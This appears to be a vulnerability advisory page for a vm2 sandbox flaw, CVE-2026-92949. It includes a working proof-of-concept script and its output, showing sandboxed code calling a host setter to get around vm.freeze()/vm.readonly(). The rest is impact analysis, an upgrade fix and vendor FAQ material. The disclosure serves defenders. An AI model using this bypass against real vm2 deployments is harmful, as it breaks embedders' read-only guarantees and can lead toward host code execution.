Summary
vm2: vm.freeze()/vm.readonly() bypass via accessor descriptor
Untrusted JavaScript running inside new VM().run() / new NodeVM().run() can bypass vm.freeze() / vm.readonly() and mutate a host object the embedder explicitly marked read-only - the documented contract is "prevent sandboxed scripts from adding, changing, or deleting properties". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via Object.getOwnPropertyDescriptor() and call it directly; the call lands in BaseHandler.apply which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default VM/NodeVM options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via __lookupSetter__.
PoC
// poc.js
'use strict';
const { VM } = require('vm2');
let _level = 'safe';
const hostConfig = Object.defineProperty({}, 'level', {
get() { return _level; },
set(v) { _level = String(v); },
enumerable: true, configurable: true,
});
const vm = new VM();
vm.freeze(hostConfig, 'cfg');
// Baseline - documented barriers hold:
vm.run(`cfg.level = 'via-set';`);
vm.run(`try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}`);
console.log('after [[Set]]/defineProperty:', _level); // → "safe"
// Bypass - sandbox mutates host via accessor descriptor:
vm.run(`
const d = Object.getOwnPropertyDescriptor(cfg, 'level');
d.set.call(cfg, 'PWNED');
`);
console.log('after getOwnPropertyDescriptor→set.call:', _level); // → "PWNED"
// Variant - same sink via __lookupSetter__:
vm.run(`cfg.__lookupSetter__('level').call(cfg, 'PWNED-2');`);
console.log('after __lookupSetter__:', _level); // → "PWNED-2"
node poc.js
Observed output:
after [[Set]]/defineProperty: safe
after getOwnPropertyDescriptor→set.call: PWNED
after __lookupSetter__: PWNED-2
The first line shows ReadOnlyHandler's documented traps work; the next two show the sandbox mutated the host-side _level despite vm.freeze().
Impact
A sandboxed script can mutate any accessor-backed property on any host object the embedder exposed via vm.freeze() / vm.readonly(), defeating the read-only contract. Data properties are not affected (ReadOnlyHandler.set / .defineProperty block those correctly). This is not a generic sandbox escape on its own; severity depends on what the embedder froze. If a frozen object's setter feeds into host control flow (e.g. set scriptPath(v), set handler(fn)), this becomes a stepping-stone to host code execution in that embedder.
Preconditions: embedder calls vm.freeze()/vm.readonly() on a host object that has at least one accessor own-property. Default VM/NodeVM options otherwise.
Blast radius: integrity of the specific frozen host object(s); downstream impact is embedder-defined.
Persistence: as persistent as the host object (typically process-lifetime).
CVE-2026-92949 has a CVSS score of 4.0 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.11.7); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-92949? CVE-2026-92949 is a medium-severity security vulnerability in vm2 (npm), affecting versions >= 3.9.6, <= 3.11.6. It is fixed in 3.11.7.
- How severe is CVE-2026-92949? CVE-2026-92949 has a CVSS score of 4.0 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of vm2 are affected by CVE-2026-92949? vm2 (npm) versions >= 3.9.6, <= 3.11.6 is affected.
- Is there a fix for CVE-2026-92949? Yes. CVE-2026-92949 is fixed in 3.11.7. Upgrade to this version or later.
- Is CVE-2026-92949 exploitable, and should I be worried? Whether CVE-2026-92949 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-92949 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-92949? Upgrade
vm2to 3.11.7 or later.